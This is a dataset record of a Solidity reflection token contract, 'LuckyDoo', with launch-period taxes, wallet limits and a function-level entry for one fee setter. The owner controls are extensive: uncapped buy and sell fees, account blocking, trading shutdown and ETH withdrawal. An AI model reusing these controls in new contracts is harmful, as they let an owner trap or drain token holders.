address private dead = 0x000000000000000000000000000000000000dEaD;
address public liquidityWallet;
address public marketingWallet;
address public devWallet;
address public buyBackWallet;
struct CustomTaxPeriod {
bytes23 periodName;
uint8 blocksInPeriod;
uint256 timeInPeriod;
uint8 liquidityFeeOnBuy;
uint8 liquidityFeeOnSell;
uint8 marketingFeeOnBuy;
uint8 marketingFeeOnSell;
uint8 devFeeOnBuy;
uint8 devFeeOnSell;
uint8 buyBackFeeOnBuy;
uint8 buyBackFeeOnSell;
uint8 holdersFeeOnBuy;
uint8 holdersFeeOnSell;
}
// Launch taxes
bool private _isLaunched;
uint256 private _launchStartTimestamp;
uint256 private _launchBlockNumber;
CustomTaxPeriod private _launch1 = CustomTaxPeriod('launch1',5,0,100,1,0,4,0,2,0,3,0,2);
CustomTaxPeriod private _launch2 = CustomTaxPeriod('launch2',0,3600,1,2,4,10,2,3,3,10,2,5);
CustomTaxPeriod private _launch3 = CustomTaxPeriod('launch3',0,86400,1,2,4,8,2,3,3,10,2,4);
// Base taxes
CustomTaxPeriod private _default = CustomTaxPeriod('default',0,0,1,1,4,4,2,2,3,3,2,2);
CustomTaxPeriod private _base = CustomTaxPeriod('base',0,0,1,1,4,4,2,2,3,3,2,2);
uint256 private constant _blockedTimeLimit = 172800;
mapping (address => bool) private _isAllowedToTradeWhenDisabled;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcludedFromMaxWalletLimit;
mapping (address => bool) private _isExcludedFromMaxTransactionLimit;
mapping (address => bool) private _isExcludedFromDividends;
mapping (address => bool) private _isBlocked;
mapping (address => bool) public automatedMarketMakerPairs;
address[] private _excludedFromDividends;
uint8 private _liquidityFee;
uint8 private _devFee;
uint8 private _marketingFee;
uint8 private _buyBackFee;
uint8 private _holdersFee;
uint8 private _totalFee;
event AutomatedMarketMakerPairChange(address indexed pair, bool indexed value);
event UniswapV2RouterChange(address indexed newAddress, address indexed oldAddress);
event WalletChange(string indexed indentifier, address indexed newWallet, address indexed oldWallet);
event FeeChange(string indexed identifier, uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee);
event CustomTaxPeriodChange(uint256 indexed newValue, uint256 indexed oldValue, string indexed taxType, bytes23 period);
event BlockedAccountChange(address indexed holder, bool indexed status);
event MaxWalletAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event MaxTransactionAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event ExcludeFromFeesChange(address indexed account, bool isExcluded);
event ExcludeFromMaxTransferChange(address indexed account, bool isExcluded);
event ExcludeFromMaxWalletChange(address indexed account, bool isExcluded);
event ExcludeFromDividendsChange(address indexed account, bool isExcluded);
event AllowedWhenTradingDisabledChange(address indexed account, bool isExcluded);
event MinTokenAmountBeforeSwapChange(uint256 indexed newValue, uint256 indexed oldValue);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived,uint256 tokensIntoLiqudity);
event ClaimETHOverflow(uint256 amount);
event FeesApplied(uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee, uint8 totalFee);
constructor() {
liquidityWallet = owner();
marketingWallet = owner();
devWallet = owner();
buyBackWallet = owner();
IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _uniswapV2Pair = IFactory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
excludeFromDividends(address(this), true);
excludeFromDividends(address(dead), true);
excludeFromDividends(address(_uniswapV2Router), true);
_isAllowedToTradeWhenDisabled[owner()] = true;
_isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true;
_isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;
_isExcludedFromMaxWalletLimit[address(this)] = true;
_isExcludedFromMaxWalletLimit[owner()] = true;
_isExcludedFromMaxTransactionLimit[address(this)] = true;
_isExcludedFromMaxTransactionLimit[address(dead)] = true;
_isExcludedFromMaxTransactionLimit[owner()] = true;
_rOwned[owner()] = _rTotal;
emit Transfer(address(0), owner(), _tTotal);
}
receive() external payable {}
// Setters
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
_approve(_msgSender(),spender,_allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
_approve(_msgSender(),spender,_allowances[_msgSender()][spender].sub(subtractedValue,"ERC20: decreased allowance below zero"));
return true;
}
function _approve(address owner,address spender,uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _getNow() private view returns (uint256) {
return block.timestamp;
}
function launch() external onlyOwner {
_launchStartTimestamp = _getNow();
_launchBlockNumber = block.number;
isTradingEnabled = true;
_isLaunched = true;
}
function cancelLaunch() external onlyOwner {
require(this.isInLaunch(), "LuckyDooToken: Launch is not set");
_launchStartTimestamp = 0;
_launchBlockNumber = 0;
_isLaunched = false;
}
function activateTrading() external onlyOwner {
isTradingEnabled = true;
}
function deactivateTrading() external onlyOwner {
isTradingEnabled = false;
_tradingPausedTimestamp = _getNow();
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, "LuckyDooToken: Automated market maker pair is already set to that value");
automatedMarketMakerPairs[pair] = value;
emit AutomatedMarketMakerPairChange(pair, value);
}
function allowTradingWhenDisabled(address account, bool allowed) external onlyOwner {
_isAllowedToTradeWhenDisabled[account] = allowed;
emit AllowedWhenTradingDisabledChange(account, allowed);
}
function excludeFromFees(address account, bool excluded) external onlyOwner {
require(_isExcludedFromFee[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
_isExcludedFromFee[account] = excluded;
emit ExcludeFromFeesChange(account, excluded);
}
function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner {
require(_isExcludedFromMaxWalletLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
_isExcludedFromMaxWalletLimit[account] = excluded;
emit ExcludeFromMaxWalletChange(account, excluded);
}
function excludeFromMaxTransactionLimit(address account, bool excluded) external onlyOwner {
require(_isExcludedFromMaxTransactionLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
_isExcludedFromMaxTransactionLimit[account] = excluded;
emit ExcludeFromMaxTransferChange(account, excluded);
}
function blockAccount(address account) external onlyOwner {
uint256 currentTimestamp = _getNow();
require(!_isBlocked[account], "LuckyDooToken: Account is already blocked");
if (_isLaunched) {
require((currentTimestamp - _launchStartTimestamp) < _blockedTimeLimit, "LuckyDooToken: Time to block accounts has expired");
}
_isBlocked[account] = true;
emit BlockedAccountChange(account, true);
}
function unblockAccount(address account) external onlyOwner {
require(_isBlocked[account], "LuckyDooToken: Account is not blcoked");
_isBlocked[account] = false;
emit BlockedAccountChange(account, false);
}
function setWallets(address newLiquidityWallet, address newDevWallet, address newMarketingWallet, address newBuyBackWallett) external onlyOwner {
if(liquidityWallet != newLiquidityWallet) {
require(newLiquidityWallet != address(0), "LuckyDooToken: The liquidityWallet cannot be 0");
emit WalletChange('liquidityWallet', newLiquidityWallet, liquidityWallet);
liquidityWallet = newLiquidityWallet;
}
if(devWallet != newDevWallet) {
require(newDevWallet != address(0), "LuckyDooToken: The devWallet cannot be 0");
emit WalletChange('devWallet', newDevWallet, devWallet);
devWallet = newDevWallet;
}
if(marketingWallet != newMarketingWallet) {
require(newMarketingWallet != address(0), "LuckyDooToken: The marketingWallet cannot be 0");
emit WalletChange('marketingWallet', newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
if(buyBackWallet != newBuyBackWallett) {
require(newBuyBackWallett != address(0), "LuckyDooToken: The buyBackWallet cannot be 0");
emit WalletChange('buyBackWallet', newBuyBackWallett, buyBackWallet);
buyBackWallet = newBuyBackWallett;
}
}
// Base fees
function setBaseFeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_base, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('baseFees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
function setBaseFeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
_setCustomSellTaxPeriod(_base, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
emit FeeChange('baseFees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
}
//Launch2 Fees
function setLaunch2FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_launch2, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('launch2Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
function setLaunch2FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
_setCustomSellTaxPeriod(_launch2, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
emit FeeChange('launch2Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
}
//Launch3 Fees
function setLaunch3FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_launch3, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('launch3Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
function setLaunch3FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
_setCustomSellTaxPeriod(_launch3, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
emit FeeChange('launch3Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
}
function setMaxWalletAmount(uint256 newValue) external onlyOwner {
require(newValue != maxWalletAmount, "LuckyDooToken: Cannot update maxWalletAmount to same value");
emit MaxWalletAmountChange(newValue, maxWalletAmount);
maxWalletAmount = newValue;
}
function setMaxTransactionAmount(uint256 newValue) external onlyOwner {
require(newValue != maxTxAmount, "LuckyDooToken: Cannot update maxTxAmount to same value");
emit MaxTransactionAmountChange(newValue, maxTxAmount);
maxTxAmount = newValue;
}
function excludeFromDividends(address account, bool excluded) public onlyOwner {
require(_isExcludedFromDividends[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
if(excluded) {
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromDividends[account] = excluded;
_excludedFromDividends.push(account);
} else {
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (_excludedFromDividends[i] == account) {
_excludedFromDividends[i] = _excludedFromDividends[_excludedFromDividends.length - 1];
_tOwned[account] = 0;
_isExcludedFromDividends[account] = false;
_excludedFromDividends.pop();
break;
}
}
}
emit ExcludeFromDividendsChange(account, excluded);
}
function setMinimumTokensBeforeSwap(uint256 newValue) external onlyOwner {
require(newValue != minimumTokensBeforeSwap, "LuckyDooToken: Cannot update minimumTokensBeforeSwap to same value");
emit MinTokenAmountBeforeSwapChange(newValue, minimumTokensBeforeSwap);
minimumTokensBeforeSwap = newValue;
}
function claimETHOverflow() external onlyOwner {
require(address(this).balance > 0, "LuckyDooToken: Cannot send more than contract balance");
uint256 amount = address(this).balance;
(bool success,) = address(owner()).call{value : amount}("");
if (success){
emit ClaimETHOverflow(amount);
}
}
// Getters
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view virtual returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcludedFromDividends[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function isInLaunch() external view returns (bool) {
uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow();
uint256 totalLaunchTime = _launch1.timeInPeriod + _launch2.timeInPeriod + _launch3.timeInPeriod;
if(_isLaunched && ((currentTimestamp - _launchStartTimestamp) < totalLaunchTime || (block.number - _launchBlockNumber) < _launch1.blocksInPeriod )) {
return true;
} else {
return false;
}
}
function getBaseBuyFees() external view returns (uint256, uint256, uint256, uint256, uint256){
return (_base.liquidityFeeOnBuy, _base.marketingFeeOnBuy, _base.devFeeOnBuy, _base.buyBackFeeOnBuy, _base.holdersFeeOnBuy);
}
function getBaseSellFees() external view returns (uint256, uint256, uint256, uint256, uint256){
return (_base.liquidityFeeOnSell, _base.marketingFeeOnSell, _base.devFeeOnSell, _base.buyBackFeeOnSell, _base.holdersFeeOnSell);
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "LuckyDooToken: Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount / currentRate;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) {
require(tAmount <= _tTotal, "LuckyDooToken: Amount must be less than supply");
uint256 currentRate = _getRate();
uint256 rAmount = tAmount * currentRate;
if (!deductTransferFee) {
return rAmount;
}
else {
uint256 rTotalFee = tAmount * _totalFee / 100 * currentRate;
uint256 rTransferAmount = rAmount - rTotalFee;
return rTransferAmount;
}
}
// Main
function _transfer(
address from,
address to,
uint256 amount
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from), "LuckyDooToken: Cannot transfer more than balance");
bool isBuyFromLp = automatedMarketMakerPairs[from];
bool isSelltoLp = automatedMarketMakerPairs[to];
bool _isInLaunch = this.isInLaunch();
if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) {
require(isTradingEnabled, "LuckyDooToken: Trading is currently disabled.");
require(!_isBlocked[to], "LuckyDooToken: Account is blocked");
require(!_isBlocked[from], "LuckyDooToken: Account is blocked");
if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) {
require(amount <= maxTxAmount, "LuckyDooToken: Transfer amount exceeds the maxTxAmount.");
}
if (!_isExcludedFromMaxWalletLimit[to]) {
require((balanceOf(to) + amount) <= maxWalletAmount, "LuckyDooToken: Expected wallet amount exceeds the maxWalletAmount.");
}
}
_adjustTaxes(isBuyFromLp, isSelltoLp, _isInLaunch);
bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap;
if (
isTradingEnabled &&
canSwap &&
!_swapping &&
_totalFee > 0 &&
automatedMarketMakerPairs[to] &&
from != liquidityWallet && to != liquidityWallet &&
from != devWallet && to != devWallet &&
from != marketingWallet && to != marketingWallet &&
from != buyBackWallet && to != buyBackWallet
) {
_swapping = true;
_swapAndLiquify();
_swapping = false;
}
bool takeFee = !_swapping && isTradingEnabled;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _tokenTransfer(address sender,address recipient, uint256 tAmount, bool takeFee) private {
(uint256 tTransferAmount,uint256 tFee, uint256 tOther) = _getTValues(tAmount, takeFee);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rOther) = _getRValues(tAmount, tFee, tOther, _getRate());
if (_isExcludedFromDividends[sender]) {
_tOwned[sender] = _tOwned[sender] - tAmount;
}
if (_isExcludedFromDividends[recipient]) {
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
}
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeContractFees(rOther, tOther);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal -= rFee;
_tFeeTotal += tFee;
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (uint256,uint256,uint256){
if (!takeFee) {
return (tAmount, 0, 0);
}
else {
uint256 tFee = tAmount * _holdersFee / 100;
uint256 tOther = tAmount * (_liquidityFee + _devFee + _marketingFee + _buyBackFee) / 100;
uint256 tTransferAmount = tAmount - (tFee + tOther);
return (tTransferAmount, tFee, tOther);
}
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tOther,
uint256 currentRate
) private pure returns ( uint256, uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rOther = tOther * currentRate;
uint256 rTransferAmount = rAmount - (rFee + rOther);
return (rAmount, rTransferAmount, rFee, rOther);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (
_rOwned[_excludedFromDividends[i]] > rSupply ||
_tOwned[_excludedFromDividends[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excludedFromDividends[i]];
tSupply = tSupply - _tOwned[_excludedFromDividends[i]];
}
if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeContractFees(uint256 rOther, uint256 tOther) private {
if (_isExcludedFromDividends[address(this)]) {
_tOwned[address(this)] += tOther;
}
_rOwned[address(this)] += rOther;
}
function _adjustTaxes(bool isBuyFromLp, bool isSelltoLp, bool isLaunching) private {
uint256 blocksSinceLaunch = block.number - _launchBlockNumber;
uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow();
uint256 timeSinceLaunch = currentTimestamp - _launchStartTimestamp;
_liquidityFee = 0;
_devFee = 0;
_marketingFee = 0;
_buyBackFee = 0;
_holdersFee = 0;
if (isBuyFromLp) {
_liquidityFee = _base.liquidityFeeOnBuy;
_devFee = _base.devFeeOnBuy;
_marketingFee = _base.marketingFeeOnBuy;
_buyBackFee = _base.buyBackFeeOnBuy;
_holdersFee = _base.holdersFeeOnBuy;
if(isLaunching) {
if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) {
_liquidityFee = _launch1.liquidityFeeOnBuy;
_devFee = _launch1.devFeeOnBuy;
_marketingFee = _launch1.marketingFeeOnBuy;
_buyBackFee = _launch1.buyBackFeeOnBuy;
_holdersFee = _launch1.holdersFeeOnBuy;
}
else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) {
_liquidityFee = _launch2.liquidityFeeOnBuy;
_devFee = _launch2.devFeeOnBuy;
_marketingFee = _launch2.marketingFeeOnBuy;
_buyBackFee = _launch2.buyBackFeeOnBuy;
_holdersFee = _launch2.holdersFeeOnBuy;
}
else {
_liquidityFee = _launch3.liquidityFeeOnBuy;
_devFee = _launch3.devFeeOnBuy;
_marketingFee = _launch3.marketingFeeOnBuy;
_buyBackFee = _launch3.buyBackFeeOnBuy;
_holdersFee = _launch3.holdersFeeOnBuy;
}
}
}
if (isSelltoLp) {
_liquidityFee = _base.liquidityFeeOnSell;
_devFee = _base.devFeeOnSell;
_marketingFee = _base.marketingFeeOnSell;
_buyBackFee = _base.buyBackFeeOnSell;
_holdersFee = _base.holdersFeeOnSell;
if(isLaunching) {
if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) {
_liquidityFee = _launch1.liquidityFeeOnSell;
_devFee = _launch1.devFeeOnSell;
_marketingFee = _launch1.marketingFeeOnSell;
_buyBackFee = _launch1.buyBackFeeOnSell;
_holdersFee = _launch1.holdersFeeOnSell;
}
else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) {
_liquidityFee = _launch2.liquidityFeeOnSell;
_devFee = _launch2.devFeeOnSell;
_marketingFee = _launch2.marketingFeeOnSell;
_buyBackFee = _launch2.buyBackFeeOnSell;
_holdersFee = _launch2.holdersFeeOnSell;
}
else {
_liquidityFee = _launch3.liquidityFeeOnSell;
_devFee = _launch3.devFeeOnSell;
_marketingFee = _launch3.marketingFeeOnSell;
_buyBackFee = _launch3.buyBackFeeOnSell;
_holdersFee = _launch3.holdersFeeOnSell;
}
}
}
_totalFee = _liquidityFee + _marketingFee + _devFee + _buyBackFee + _holdersFee;
emit FeesApplied(_liquidityFee, _marketingFee, _devFee, _buyBackFee, _holdersFee, _totalFee);
}
function _setCustomSellTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnSell,
uint8 _marketingFeeOnSell,
uint8 _devFeeOnSell,
uint8 _buyBackFeeOnSell,
uint8 _holdersFeeOnSell
) private {
if (map.liquidityFeeOnSell != _liquidityFeeOnSell) {
emit CustomTaxPeriodChange(_liquidityFeeOnSell, map.liquidityFeeOnSell, 'liquidityFeeOnSell', map.periodName);
map.liquidityFeeOnSell = _liquidityFeeOnSell;
}
if (map.marketingFeeOnSell != _marketingFeeOnSell) {
emit CustomTaxPeriodChange(_marketingFeeOnSell, map.marketingFeeOnSell, 'marketingFeeOnSell', map.periodName);
map.marketingFeeOnSell = _marketingFeeOnSell;
}
if (map.devFeeOnSell != _devFeeOnSell) {
emit CustomTaxPeriodChange(_devFeeOnSell, map.devFeeOnSell, 'devFeeOnSell', map.periodName);
map.devFeeOnSell = _devFeeOnSell;
}
if (map.buyBackFeeOnSell != _buyBackFeeOnSell) {
emit CustomTaxPeriodChange(_buyBackFeeOnSell, map.buyBackFeeOnSell, 'buyBackFeeOnSell', map.periodName);
map.buyBackFeeOnSell = _buyBackFeeOnSell;
}
if (map.holdersFeeOnSell != _holdersFeeOnSell) {
emit CustomTaxPeriodChange(_holdersFeeOnSell, map.holdersFeeOnSell, 'holdersFeeOnSell', map.periodName);
map.holdersFeeOnSell = _holdersFeeOnSell;
}
}
function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnBuy,
uint8 _marketingFeeOnBuy,
uint8 _devFeeOnBuy,
uint8 _buyBackFeeOnBuy,
uint8 _holdersFeeOnBuy
) private {
if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) {
emit CustomTaxPeriodChange(_liquidityFeeOnBuy, map.liquidityFeeOnBuy, 'liquidityFeeOnBuy', map.periodName);
map.liquidityFeeOnBuy = _liquidityFeeOnBuy;
}
if (map.marketingFeeOnBuy != _marketingFeeOnBuy) {
emit CustomTaxPeriodChange(_marketingFeeOnBuy, map.marketingFeeOnBuy, 'marketingFeeOnBuy', map.periodName);
map.marketingFeeOnBuy = _marketingFeeOnBuy;
}
if (map.devFeeOnBuy != _devFeeOnBuy) {
emit CustomTaxPeriodChange(_devFeeOnBuy, map.devFeeOnBuy, 'devFeeOnBuy', map.periodName);
map.devFeeOnBuy = _devFeeOnBuy;
}
if (map.buyBackFeeOnBuy != _buyBackFeeOnBuy) {
emit CustomTaxPeriodChange(_buyBackFeeOnBuy, map.buyBackFeeOnBuy, 'buyBackFeeOnBuy', map.periodName);
map.buyBackFeeOnBuy = _buyBackFeeOnBuy;
}
if (map.holdersFeeOnBuy != _holdersFeeOnBuy) {
emit CustomTaxPeriodChange(_holdersFeeOnBuy, map.holdersFeeOnBuy, 'holdersFeeOnBuy', map.periodName);
map.holdersFeeOnBuy = _holdersFeeOnBuy;
}
}
function _swapAndLiquify() private {
uint256 contractBalance = balanceOf(address(this));
uint256 initialETHBalance = address(this).balance;
uint8 totalFeePrior = _totalFee;
uint8 liquidityFeePrior = _liquidityFee;
uint8 marketingFeePrior = _marketingFee;
uint8 devFeePrior = _devFee;
uint8 buyBackFeePrior = _buyBackFee;
uint256 amountToLiquify = contractBalance * _liquidityFee / _totalFee / 2;
uint256 amountToSwapForETH = contractBalance - amountToLiquify;
_swapTokensForETH(amountToSwapForETH);
uint256 ETHBalanceAfterSwap = address(this).balance - initialETHBalance;
uint256 totalETHFee = _totalFee - (_liquidityFee / 2);
uint256 amountETHLiquidity = ETHBalanceAfterSwap * _liquidityFee / totalETHFee / 2;
uint256 amountETHDev = ETHBalanceAfterSwap * _devFee / totalETHFee;
uint256 amountETHBuyBack = ETHBalanceAfterSwap * _buyBackFee / totalETHFee;
uint256 amountETHMarketing = ETHBalanceAfterSwap - (amountETHLiquidity + amountETHDev + amountETHBuyBack);
payable(marketingWallet).transfer(amountETHMarketing);
payable(devWallet).transfer(amountETHDev);
payable(buyBackWallet).transfer(amountETHBuyBack);
if (amountToLiquify > 0) {
_addLiquidity(amountToLiquify, amountETHLiquidity);
emit SwapAndLiquify(amountToSwapForETH, amountETHLiquidity, amountToLiquify);
}
_totalFee = totalFeePrior;
_liquidityFee = liquidityFeePrior;
_marketingFee = marketingFeePrior;
_devFee = devFeePrior;
_buyBackFee = buyBackFeePrior;
}
function _swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityWallet,
block.timestamp
);
}
} | setLaunch2FeesOnBuy | function setLaunch2FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_launch2, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('launch2Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
| //Launch2 Fees | LineComment | v0.8.13+commit.abaa5c0e | MIT | ipfs://3084574085aba8adf8bd6fa057454a217e2339c100aff7233b3e43e668854fbd | {
"func_code_index": [
12129,
12560
]
} | 1,309 |
||
LuckyDoo | LuckyDoo.sol | 0x78734a327b6d84b44c358cc42b2416967fe7a819 | Solidity | LuckyDoo | contract LuckyDoo is IERC20, Ownable {
using Address for address;
using SafeMath for uint256;
IRouter public uniswapV2Router;
address public immutable uniswapV2Pair;
string private constant _name = "Lucky Doo";
string private constant _symbol = "DOO";
uint8 private constant _decimals = 18;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 999000000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
bool public isTradingEnabled;
uint256 private _tradingPausedTimestamp;
// max wallet is 2.0% of initialSupply
uint256 public maxWalletAmount = _tTotal * 200 / 10000;
// max tx is 0.53% of initialSupply
uint256 public maxTxAmount = _tTotal * 530 / 100000;
bool private _swapping;
// max wallet is 0.025% of initialSupply
uint256 public minimumTokensBeforeSwap = _tTotal * 250 / 1000000;
address private dead = 0x000000000000000000000000000000000000dEaD;
address public liquidityWallet;
address public marketingWallet;
address public devWallet;
address public buyBackWallet;
struct CustomTaxPeriod {
bytes23 periodName;
uint8 blocksInPeriod;
uint256 timeInPeriod;
uint8 liquidityFeeOnBuy;
